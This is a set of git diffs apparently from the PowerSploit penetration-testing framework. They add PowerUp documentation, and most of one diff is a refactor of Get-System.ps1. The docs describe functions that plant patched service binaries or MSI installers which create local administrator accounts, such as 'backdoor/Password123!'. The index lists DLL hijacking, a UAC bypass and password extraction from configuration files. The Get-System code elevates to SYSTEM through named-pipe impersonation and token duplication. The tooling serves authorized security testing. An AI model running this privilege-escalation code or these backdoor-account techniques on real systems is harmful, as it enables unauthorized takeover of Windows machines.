diff --git a/docs/Privesc/Write-ServiceBinary.md b/docs/Privesc/Write-ServiceBinary.md new file mode 100755 index 00000000..7d588a54 --- /dev/null +++ b/docs/Privesc/Write-ServiceBinary.md @@ -0,0 +1,191 @@ +# Write-ServiceBinary + +## SYNOPSIS +Patches in the specified command to a pre-compiled C# service executable and +writes the binary out to the specified ServicePath location. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Write-ServiceBinary [-Name] [-UserName ] [-Password ] [-LocalGroup ] + [-Credential ] [-Command ] [-Path ] +``` + +## DESCRIPTION +Takes a pre-compiled C# service binary and patches in the appropriate commands needed +for service abuse. +If a -UserName/-Password or -Credential is specified, the command +patched in creates a local user and adds them to the specified -LocalGroup, otherwise +the specified -Command is patched in. +The binary is then written out to the specified +-ServicePath. +Either -Name must be specified for the service, or a proper object from +Get-Service must be passed on the pipeline in order to patch in the appropriate service +name the binary will be running under. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Write-ServiceBinary -Name VulnSVC +``` + +Writes a service binary to service.exe in the local directory for VulnSVC that +adds a local Administrator (john/Password123!). + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-Service VulnSVC | Write-ServiceBinary +``` + +Writes a service binary to service.exe in the local directory for VulnSVC that +adds a local Administrator (john/Password123!). + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Write-ServiceBinary -Name VulnSVC -UserName 'TESTLAB\john' +``` + +Writes a service binary to service.exe in the local directory for VulnSVC that adds +TESTLAB\john to the Administrators local group. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Write-ServiceBinary -Name VulnSVC -UserName backdoor -Password Password123! +``` + +Writes a service binary to service.exe in the local directory for VulnSVC that +adds a local Administrator (backdoor/Password123!). + +### -------------------------- EXAMPLE 5 -------------------------- +``` +Write-ServiceBinary -Name VulnSVC -Command "net ..." +``` + +Writes a service binary to service.exe in the local directory for VulnSVC that +executes a custom command. + +## PARAMETERS + +### -Name +The service name the EXE will be running under. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ServiceName + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -UserName +The \[domain\\\]username to add. +If not given, it defaults to "john". +Domain users are not created, only added to the specified localgroup. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: John +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Password +The password to set for the added user. +If not given, it defaults to "Password123!" + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Password123! +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LocalGroup +Local group name to add the user to (default of 'Administrators'). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Administrators +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object specifying the user/password to add. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Command +Custom command to execute instead of user creation. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Path +Path to write the binary out to, defaults to 'service.exe' in the local directory. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: "$(Convert-Path .)\service.exe" +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerUp.ServiceBinary + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Write-UserAddMSI.md b/docs/Privesc/Write-UserAddMSI.md new file mode 100755 index 00000000..cac959d3 --- /dev/null +++ b/docs/Privesc/Write-UserAddMSI.md @@ -0,0 +1,56 @@ +# Write-UserAddMSI + +## SYNOPSIS +Writes out a precompiled MSI installer that prompts for a user/group addition. +This function can be used to abuse Get-RegistryAlwaysInstallElevated. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Write-UserAddMSI [[-Path] ] +``` + +## DESCRIPTION +Writes out a precompiled MSI installer that prompts for a user/group addition. +This function can be used to abuse Get-RegistryAlwaysInstallElevated. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Write-UserAddMSI +``` + +Writes the user add MSI to the local directory. + +## PARAMETERS + +### -Path +{{Fill Path Description}} + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ServiceName + +Required: False +Position: 1 +Default value: UserAdd.msi +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerUp.UserAddMSI + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/index.md b/docs/Privesc/index.md new file mode 100644 index 00000000..836e6748 --- /dev/null +++ b/docs/Privesc/index.md @@ -0,0 +1,55 @@ +## PowerUp + +PowerUp aims to be a clearinghouse of common Windows privilege escalation +vectors that rely on misconfigurations. + +Running Invoke-AllChecks will output any identifiable vulnerabilities along +with specifications for any abuse functions. The -HTMLReport flag will also +generate a COMPUTER.username.html version of the report. + +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + + +### Token/Privilege Enumeration/Abuse: + Get-ProcessTokenGroup - returns all SIDs that the current token context is a part of, whether they are disabled or not + Get-ProcessTokenPrivilege - returns all privileges for the current (or specified) process ID + Enable-Privilege - enables a specific privilege for the current process + +### Service Enumeration/Abuse: + Test-ServiceDaclPermission - tests one or more passed services or service names against a given permission set + Get-UnquotedService - returns services with unquoted paths that also have a space in the name + Get-ModifiableServiceFile - returns services where the current user can write to the service binary path or its config + Get-ModifiableService - returns services the current user can modify + Get-ServiceDetail - returns detailed information about a specified service + Set-ServiceBinaryPath - sets the binary path for a service to a specified value + Invoke-ServiceAbuse - modifies a vulnerable service to create a local admin or execute a custom command + Write-ServiceBinary - writes out a patched C# service binary that adds a local admin or executes a custom command + Install-ServiceBinary - replaces a service binary with one that adds a local admin or executes a custom command + Restore-ServiceBinary - restores a replaced service binary with the original executable + +### DLL Hijacking: + Find-ProcessDLLHijack - finds potential DLL hijacking opportunities for currently running processes + Find-PathDLLHijack - finds service %PATH% DLL hijacking opportunities + Write-HijackDll - writes out a hijackable DLL + +### Registry Checks: + Get-RegistryAlwaysInstallElevated - checks if the AlwaysInstallElevated registry key is set + Get-RegistryAutoLogon - checks for Autologon credentials in the registry + Get-ModifiableRegistryAutoRun - checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns + +### Miscellaneous Checks: + Get-ModifiableScheduledTaskFile - find schtasks with modifiable target files + Get-UnattendedInstallFile - finds remaining unattended installation files + Get-Webconfig - checks for any encrypted web.config strings + Get-ApplicationHost - checks for encrypted application pool and virtual directory passwords + Get-SiteListPassword - retrieves the plaintext passwords for any found McAfee's SiteList.xml files + Get-CachedGPPPassword - checks for passwords in cached Group Policy Preferences files + +### Other Helpers/Meta-Functions: + Get-ModifiablePath - tokenizes an input string and returns the files in it the current user can modify + Write-UserAddMSI - write out a MSI installer that prompts for a user to be added + Invoke-WScriptUACBypass - performs the bypass UAC attack by abusing the lack of an embedded manifest in wscript.exe + Invoke-PrivescAudit - runs all current escalation checks and returns a report (formerly Invoke-AllChecks) diff --git a/docs/index.md b/docs/index.md index 67ddcbce..8cd53ea5 100644 --- a/docs/index.md +++ b/docs/index.md @@ -61,6 +61,7 @@ Cause general mayhem with PowerShell. Tools to help with escalating privileges on a target, including PowerUp. PowerUp - Clearing house of common privilege escalation checks, along with some weaponization vectors. + Get-System - GetSystem functionality inspired by Meterpreter's getsystem ### Recon Tools to aid in the reconnaissance phase of a penetration test, including PowerView. diff --git a/mkdocs.yml b/mkdocs.yml index accd72bc..8b78d987 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -85,3 +85,37 @@ pages: - Get-HttpStatus: 'Recon/Get-HttpStatus.md' - Invoke-Portscan: 'Recon/Invoke-Portscan.md' - Invoke-ReverseDnsLookup: 'Recon/Invoke-ReverseDnsLookup.md' +- Privesc: + - About: 'Privesc/index.md' + - Functions: + - Get-ModifiablePath: 'Privesc/Get-ModifiablePath.md' + - Get-ProcessTokenGroup: 'Privesc/Get-ProcessTokenGroup.md' + - Get-ProcessTokenPrivilege: 'Privesc/Get-ProcessTokenPrivilege.md' + - Enable-Privilege: 'Privesc/Enable-Privilege.md' + - Add-ServiceDacl: 'Privesc/Add-ServiceDacl.md' + - Set-ServiceBinaryPath: 'Privesc/Set-ServiceBinaryPath.md' + - Test-ServiceDaclPermission: 'Privesc/Test-ServiceDaclPermission.md' + - Get-UnquotedService: 'Privesc/Get-UnquotedService.md' + - Get-ModifiableServiceFile: 'Privesc/Get-ModifiableServiceFile.md' + - Get-ModifiableService: 'Privesc/Get-ModifiableService.md' + - Get-ServiceDetail: 'Privesc/Get-ServiceDetail.md' + - Invoke-ServiceAbuse: 'Privesc/Invoke-ServiceAbuse.md' + - Write-ServiceBinary: 'Privesc/Write-ServiceBinary.md' + - Install-ServiceBinary: 'Privesc/Install-ServiceBinary.md' + - Restore-ServiceBinary: 'Privesc/Restore-ServiceBinary.md' + - Find-ProcessDLLHijack: 'Privesc/Find-ProcessDLLHijack.md' + - Find-PathDLLHijack: 'Privesc/Find-PathDLLHijack.md' + - Write-HijackDll: 'Privesc/Write-HijackDll.md' + - Get-RegistryAlwaysInstallElevated: 'Privesc/Get-RegistryAlwaysInstallElevated.md' + - Get-RegistryAutoLogon: 'Privesc/Get-RegistryAutoLogon.md' + - Get-ModifiableRegistryAutoRun: 'Privesc/Get-ModifiableRegistryAutoRun.md' + - Get-ModifiableScheduledTaskFile: 'Privesc/Get-ModifiableScheduledTaskFile.md' + - Get-UnattendedInstallFile: 'Privesc/Get-UnattendedInstallFile.md' + - Get-WebConfig: 'Privesc/Get-WebConfig.md' + - Get-ApplicationHost: 'Privesc/Get-ApplicationHost.md' + - Get-SiteListPassword: 'Privesc/Get-SiteListPassword.md' + - Get-CachedGPPPassword: 'Privesc/Get-CachedGPPPassword.md' + - Write-UserAddMSI: 'Privesc/Write-UserAddMSI.md' + - Invoke-WScriptUACBypass: 'Privesc/Invoke-WScriptUACBypass.md' + - Invoke-PrivescAudit: 'Privesc/Invoke-PrivescAudit.md' + - Get-System: 'Privesc/Get-System.md' From 07ccc07fc67dc92774044c0f0aba4613842b1a01 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Wed, 14 Dec 2016 13:10:37 -0500 Subject: [PATCH 217/296] mods to Get-System for it to pass PSScriptAnalyzer --- Privesc/Get-System.ps1 | 216 +++++++++++++++++++++-------------------- 1 file changed, 112 insertions(+), 104 deletions(-) diff --git a/Privesc/Get-System.ps1 b/Privesc/Get-System.ps1 index f2b8014a..c48698c4 100644 --- a/Privesc/Get-System.ps1 +++ b/Privesc/Get-System.ps1 @@ -1,103 +1,109 @@ function Get-System { <# - .SYNOPSIS +.SYNOPSIS - GetSystem functionality inspired by Meterpreter's getsystem. - 'NamedPipe' impersonation doesn't need SeDebugPrivilege but does create - a service, 'Token' duplications a SYSTEM token but needs SeDebugPrivilege. - NOTE: if running PowerShell 2.0, start powershell.exe with '-STA' to ensure - token duplication works correctly. +GetSystem functionality inspired by Meterpreter's getsystem. - PowerSploit Function: Get-System - Author: @harmj0y, @mattifestation - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None +Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: PSReflect - .PARAMETER Technique +.DESCRIPTION - The technique to use, 'NamedPipe' or 'Token'. +Executes "getsystem" functionality similar to Meterpreter. +'NamedPipe' impersonation doesn't need SeDebugPrivilege but does create +a service, 'Token' duplications a SYSTEM token but needs SeDebugPrivilege. +NOTE: if running PowerShell 2.0, start powershell.exe with '-STA' to ensure +token duplication works correctly. - .PARAMETER ServiceName - The name of the service used with named pipe impersonation, defaults to 'TestSVC'. +.PARAMETER Technique - .PARAMETER PipeName +The technique to use, 'NamedPipe' or 'Token'. - The name of the named pipe used with named pipe impersonation, defaults to 'TestSVC'. +.PARAMETER ServiceName - .PARAMETER RevToSelf - - Reverts the current thread privileges. +The name of the service used with named pipe impersonation, defaults to 'TestSVC'. - .PARAMETER WhoAmI +.PARAMETER PipeName - Switch. Display the credentials for the current PowerShell thread. +The name of the named pipe used with named pipe impersonation, defaults to 'TestSVC'. - .EXAMPLE - - PS> Get-System +.PARAMETER RevToSelf - Uses named impersonate to elevate the current thread token to SYSTEM. +Reverts the current thread privileges. - .EXAMPLE - - PS> Get-System -ServiceName 'PrivescSvc' -PipeName 'secret' +.PARAMETER WhoAmI - Uses named impersonate to elevate the current thread token to SYSTEM - with a custom service and pipe name. +Switch. Display the credentials for the current PowerShell thread. - .EXAMPLE - - PS> Get-System -Technique Token +.EXAMPLE - Uses token duplication to elevate the current thread token to SYSTEM. +Get-System - .EXAMPLE - - PS> Get-System -WhoAmI +Uses named impersonate to elevate the current thread token to SYSTEM. - Displays the credentials for the current thread. +.EXAMPLE - .EXAMPLE - - PS> Get-System -RevToSelf +Get-System -ServiceName 'PrivescSvc' -PipeName 'secret' + +Uses named impersonate to elevate the current thread token to SYSTEM +with a custom service and pipe name. + +.EXAMPLE + +Get-System -Technique Token + +Uses token duplication to elevate the current thread token to SYSTEM. - Reverts the current thread privileges. +.EXAMPLE - .LINK - - https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c - https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot - http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/ - http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ +Get-System -WhoAmI + +Displays the credentials for the current thread. + +.EXAMPLE + +Get-System -RevToSelf + +Reverts the current thread privileges. + +.LINK + +https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c +https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot +http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/ +http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ #> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')] [CmdletBinding(DefaultParameterSetName = 'NamedPipe')] param( - [Parameter(ParameterSetName = "NamedPipe")] - [Parameter(ParameterSetName = "Token")] + [Parameter(ParameterSetName = 'NamedPipe')] + [Parameter(ParameterSetName = 'Token')] [String] - [ValidateSet("NamedPipe", "Token")] + [ValidateSet('NamedPipe', 'Token')] $Technique = 'NamedPipe', - [Parameter(ParameterSetName = "NamedPipe")] + [Parameter(ParameterSetName = 'NamedPipe')] [String] $ServiceName = 'TestSVC', - [Parameter(ParameterSetName = "NamedPipe")] + [Parameter(ParameterSetName = 'NamedPipe')] [String] $PipeName = 'TestSVC', - [Parameter(ParameterSetName = "RevToSelf")] + [Parameter(ParameterSetName = 'RevToSelf')] [Switch] $RevToSelf, - [Parameter(ParameterSetName = "WhoAmI")] + [Parameter(ParameterSetName = 'WhoAmI')] [Switch] $WhoAmI ) - $ErrorActionPreference = "Stop" + $ErrorActionPreference = 'Stop' # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html function Local:Get-DelegateType @@ -165,10 +171,10 @@ function Get-System { function Local:Get-SystemNamedPipe { param( [String] - $ServiceName = "TestSVC", + $ServiceName = 'TestSVC', [String] - $PipeName = "TestSVC" + $PipeName = 'TestSVC' ) $Command = "%COMSPEC% /C start %COMSPEC% /C `"timeout /t 3 >nul&&echo $PipeName > \\.\pipe\$PipeName`"" @@ -177,9 +183,9 @@ function Get-System { # create the named pipe used for impersonation and set appropriate permissions $PipeSecurity = New-Object System.IO.Pipes.PipeSecurity - $AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" ) + $AccessRule = New-Object System.IO.Pipes.PipeAccessRule('Everyone', 'ReadWrite', 'Allow') $PipeSecurity.AddAccessRule($AccessRule) - $Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName,"InOut",100, "Byte", "None", 1024, 1024, $PipeSecurity) + $Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName, 'InOut', 100, 'Byte', 'None', 1024, 1024, $PipeSecurity) $PipeHandle = $Pipe.SafePipeHandle.DangerousGetHandle() @@ -220,9 +226,9 @@ function Get-System { # Step 1 - OpenSCManager() # 0xF003F = SC_MANAGER_ALL_ACCESS # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx - Write-Verbose "Opening service manager" - $ManagerHandle = $OpenSCManagerA.Invoke("\\localhost", "ServicesActive", 0xF003F) - Write-Verbose "Service manager handle: $ManagerHandle" + Write-Verbose '[Get-System] Opening service manager' + $ManagerHandle = $OpenSCManagerA.Invoke('\\localhost', 'ServicesActive', 0xF003F) + Write-Verbose "[Get-System] Service manager handle: $ManagerHandle" # if we get a non-zero handle back, everything was successful if ($ManagerHandle -and ($ManagerHandle -ne 0)) { @@ -232,7 +238,7 @@ function Get-System { # 0x10 = SERVICE_WIN32_OWN_PROCESS # 0x3 = SERVICE_DEMAND_START # 0x1 = SERVICE_ERROR_NORMAL - Write-Verbose "Creating new service: '$ServiceName'" + Write-Verbose "[Get-System] Creating new service: '$ServiceName'" try { $ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null) $err = $GetLastError.Invoke() @@ -241,40 +247,40 @@ function Get-System { Write-Warning "Error creating service : $_" $ServiceHandle = 0 } - Write-Verbose "CreateServiceA Handle: $ServiceHandle" + Write-Verbose "[Get-System] CreateServiceA Handle: $ServiceHandle" if ($ServiceHandle -and ($ServiceHandle -ne 0)) { $Success = $True - Write-Verbose "Service successfully created" + Write-Verbose '[Get-System] Service successfully created' # Step 3 - CloseServiceHandle() for the service handle - Write-Verbose "Closing service handle" + Write-Verbose '[Get-System] Closing service handle' $Null = $CloseServiceHandle.Invoke($ServiceHandle) # Step 4 - OpenService() - Write-Verbose "Opening the service '$ServiceName'" + Write-Verbose "[Get-System] Opening the service '$ServiceName'" $ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F) - Write-Verbose "OpenServiceA handle: $ServiceHandle" + Write-Verbose "[Get-System] OpenServiceA handle: $ServiceHandle" if ($ServiceHandle -and ($ServiceHandle -ne 0)){ # Step 5 - StartService() - Write-Verbose "Starting the service" + Write-Verbose '[Get-System] Starting the service' $val = $StartServiceA.Invoke($ServiceHandle, $null, $null) $err = $GetLastError.Invoke() # if we successfully started the service, let it breathe and then delete it if ($val -ne 0){ - Write-Verbose "Service successfully started" + Write-Verbose '[Get-System] Service successfully started' # breathe for a second Start-Sleep -s 1 } else{ if ($err -eq 1053){ - Write-Verbose "Command didn't respond to start" + Write-Verbose "[Get-System] Command didn't respond to start" } else{ - Write-Warning "StartService failed, LastError: $err" + Write-Warning "[Get-System] StartService failed, LastError: $err" } # breathe for a second Start-Sleep -s 1 @@ -282,48 +288,48 @@ function Get-System { # start cleanup # Step 6 - DeleteService() - Write-Verbose "Deleting the service '$ServiceName'" + Write-Verbose "[Get-System] Deleting the service '$ServiceName'" $val = $DeleteService.invoke($ServiceHandle) $err = $GetLastError.Invoke() if ($val -eq 0){ - Write-Warning "DeleteService failed, LastError: $err" + Write-Warning "[Get-System] DeleteService failed, LastError: $err" } else{ - Write-Verbose "Service successfully deleted" + Write-Verbose '[Get-System] Service successfully deleted' } # Step 7 - CloseServiceHandle() for the service handle - Write-Verbose "Closing the service handle" + Write-Verbose '[Get-System] Closing the service handle' $val = $CloseServiceHandle.Invoke($ServiceHandle) - Write-Verbose "Service handle closed off" + Write-Verbose '[Get-System] Service handle closed off' } else { - Write-Warning "[!] OpenServiceA failed, LastError: $err" + Write-Warning "[Get-System] OpenServiceA failed, LastError: $err" } } else { - Write-Warning "[!] CreateService failed, LastError: $err" + Write-Warning "[Get-System] CreateService failed, LastError: $err" } # final cleanup - close off the manager handle - Write-Verbose "Closing the manager handle" + Write-Verbose '[Get-System] Closing the manager handle' $Null = $CloseServiceHandle.Invoke($ManagerHandle) } else { # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx - Write-Warning "[!] OpenSCManager failed, LastError: $err" + Write-Warning "[Get-System] OpenSCManager failed, LastError: $err" } if($Success) { - Write-Verbose "Waiting for pipe connection" + Write-Verbose '[Get-System] Waiting for pipe connection' $Pipe.WaitForConnection() $Null = (New-Object System.IO.StreamReader($Pipe)).ReadToEnd() $Out = $ImpersonateNamedPipeClient.Invoke([Int]$PipeHandle) - Write-Verbose "ImpersonateNamedPipeClient: $Out" + Write-Verbose "[Get-System] ImpersonateNamedPipeClient: $Out" } # clocse off the named pipe @@ -366,7 +372,7 @@ function Get-System { $PrivilegesField = $TokenPrivilegesTypeBuilder.DefineField('Privileges', $Luid_and_AttributesStruct.MakeArrayType(), 'Public') $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 1)) $PrivilegesField.SetCustomAttribute($AttribBuilder) - $TokenPrivilegesStruct = $TokenPrivilegesTypeBuilder.CreateType() + # $TokenPrivilegesStruct = $TokenPrivilegesTypeBuilder.CreateType() $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder( ([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]), @@ -455,7 +461,7 @@ function Get-System { $Win32Methods = $Win32TypeBuilder.CreateType() - $Win32Native = [Int32].Assembly.GetTypes() | ? {$_.Name -eq 'Win32Native'} + $Win32Native = [Int32].Assembly.GetTypes() | Where-Object {$_.Name -eq 'Win32Native'} $GetCurrentProcess = $Win32Native.GetMethod( 'GetCurrentProcess', [Reflection.BindingFlags] 'NonPublic, Static' @@ -463,7 +469,7 @@ function Get-System { $SE_PRIVILEGE_ENABLED = 0x00000002 $STANDARD_RIGHTS_REQUIRED = 0x000F0000 - $STANDARD_RIGHTS_READ = 0x00020000 + # $STANDARD_RIGHTS_READ = 0x00020000 $TOKEN_ASSIGN_PRIMARY = 0x00000001 $TOKEN_DUPLICATE = 0x00000002 $TOKEN_IMPERSONATE = 0x00000004 @@ -473,7 +479,7 @@ function Get-System { $TOKEN_ADJUST_GROUPS = 0x00000040 $TOKEN_ADJUST_DEFAULT = 0x00000080 $TOKEN_ADJUST_SESSIONID = 0x00000100 - $TOKEN_READ = $STANDARD_RIGHTS_READ -bor $TOKEN_QUERY + # $TOKEN_READ = $STANDARD_RIGHTS_READ -bor $TOKEN_QUERY $TOKEN_ALL_ACCESS = $STANDARD_RIGHTS_REQUIRED -bor $TOKEN_ASSIGN_PRIMARY -bor $TOKEN_DUPLICATE -bor @@ -492,16 +498,16 @@ function Get-System { $tokPriv1Luid.Luid = $Luid $tokPriv1Luid.Attr = $SE_PRIVILEGE_ENABLED - $RetVal = $Win32Methods::LookupPrivilegeValue($Null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid) + $RetVal = $Win32Methods::LookupPrivilegeValue($Null, 'SeDebugPrivilege', [ref]$tokPriv1Luid.Luid) $htoken = [IntPtr]::Zero $RetVal = $Win32Methods::OpenProcessToken($GetCurrentProcess.Invoke($Null, @()), $TOKEN_ALL_ACCESS, [ref]$htoken) - $tokenPrivileges = [Activator]::CreateInstance($TokenPrivilegesStruct) + # $tokenPrivileges = [Activator]::CreateInstance($TokenPrivilegesStruct) $RetVal = $Win32Methods::AdjustTokenPrivileges($htoken, $False, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero) if(-not($RetVal)) { - Write-Error "AdjustTokenPrivileges failed, RetVal : $RetVal" -ErrorAction Stop + Write-Error "[Get-System] AdjustTokenPrivileges failed, RetVal : $RetVal" -ErrorAction Stop } $LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value @@ -522,36 +528,38 @@ function Get-System { } } } - catch {} - } | Where-Object {$_ -and ($_ -ne 0)} | Select -First 1 + catch { + Write-Verbose "[Get-System] error enumerating handle: $_" + } + } | Where-Object {$_ -and ($_ -ne 0)} | Select-Object -First 1 if ((-not $SystemHandle) -or ($SystemHandle -eq 0)) { - Write-Error 'Unable to obtain a handle to a system process.' + Write-Error '[Get-System] Unable to obtain a handle to a system process.' } else { [IntPtr]$SystemToken = [IntPtr]::Zero $RetVal = $Win32Methods::OpenProcessToken(([IntPtr][Int] $SystemHandle), ($TOKEN_IMPERSONATE -bor $TOKEN_DUPLICATE), [ref]$SystemToken);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Verbose "OpenProcessToken result: $RetVal" - Write-Verbose "OpenProcessToken result: $LastError" + Write-Verbose "[Get-System] OpenProcessToken result: $RetVal" + Write-Verbose "[Get-System] OpenProcessToken result: $LastError" [IntPtr]$DulicateTokenHandle = [IntPtr]::Zero $RetVal = $Win32Methods::DuplicateToken($SystemToken, 2, [ref]$DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Verbose "DuplicateToken result: $LastError" + Write-Verbose "[Get-System] DuplicateToken result: $LastError" $RetVal = $Win32Methods::SetThreadToken([IntPtr]::Zero, $DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() if(-not($RetVal)) { - Write-Error "SetThreadToken failed, RetVal : $RetVal" -ErrorAction Stop + Write-Error "[Get-System] SetThreadToken failed, RetVal : $RetVal" -ErrorAction Stop } - Write-Verbose "SetThreadToken result: $LastError" + Write-Verbose "[Get-System] SetThreadToken result: $LastError" $null = $Win32Methods::CloseHandle($Handle) } } if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') { - Write-Error "Script must be run in STA mode, relaunch powershell.exe with -STA flag" -ErrorAction Stop + Write-Error "[Get-System] Script must be run in STA mode, relaunch powershell.exe with -STA flag" -ErrorAction Stop } if($PSBoundParameters['WhoAmI']) { @@ -566,17 +574,17 @@ function Get-System { $RetVal = $RevertToSelf.Invoke() if($RetVal) { - Write-Output "RevertToSelf successful." + Write-Output "[Get-System] RevertToSelf successful." } else { - Write-Warning "RevertToSelf failed." + Write-Warning "[Get-System] RevertToSelf failed." } Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" } else { if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) { - Write-Error "Script must be run as administrator" -ErrorAction Stop + Write-Error "[Get-System] Script must be run as administrator" -ErrorAction Stop } if($Technique -eq 'NamedPipe') { From 85b374c05ba988cfb12e0ea3d07bd34da65da571 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Wed, 14 Dec 2016 13:39:50 -0500 Subject: [PATCH 218/296] -Fixes for PSScriptAnalyzer compatibility -More error handling --- Recon/PowerView.ps1 | 132 ++++++++++++++++++++++++++++++++++++++------ 1 file changed, 114 insertions(+), 18 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index cb2af320..eecf62f0 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -3369,7 +3369,13 @@ Outputs custom PSObjects with detailed information about the DNS zone. $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone') $Out } - try { $Results.dispose() } catch {} + + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_" + } + } $DNSSearcher1.dispose() } @@ -3386,7 +3392,12 @@ Outputs custom PSObjects with detailed information about the DNS zone. $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone') $Out } - try { $Results.dispose() } catch {} + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainDNSZone] Error disposing of the Results object: $_" + } + } } catch { Write-Verbose "[Get-DomainDNSZone] Error accessing 'CN=MicrosoftDNS,DC=DomainDnsZones'" @@ -3554,7 +3565,13 @@ Outputs custom PSObjects with detailed information about the DNS record entry. $Out } } - try { $Results.dispose() } catch {} + + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainDNSRecord] Error disposing of the Results object: $_" + } + } $DNSSearcher.dispose() } } @@ -3622,7 +3639,7 @@ http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49 PROCESS { if ($PSBoundParameters['Credential']) { - Write-Verbose "[Get-Domain] Using alternate credentials for Get-Domain" + Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain' if ($PSBoundParameters['Domain']) { $TargetDomain = $Domain @@ -3652,7 +3669,12 @@ http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49 } } else { - [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + try { + [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch { + Write-Verbose "[Get-Domain] Error retrieving the current domain: $_" + } } } } @@ -4089,6 +4111,7 @@ the specified alternate credentials. An ActiveDirectorySchemaClass returned from the found schema. #> + 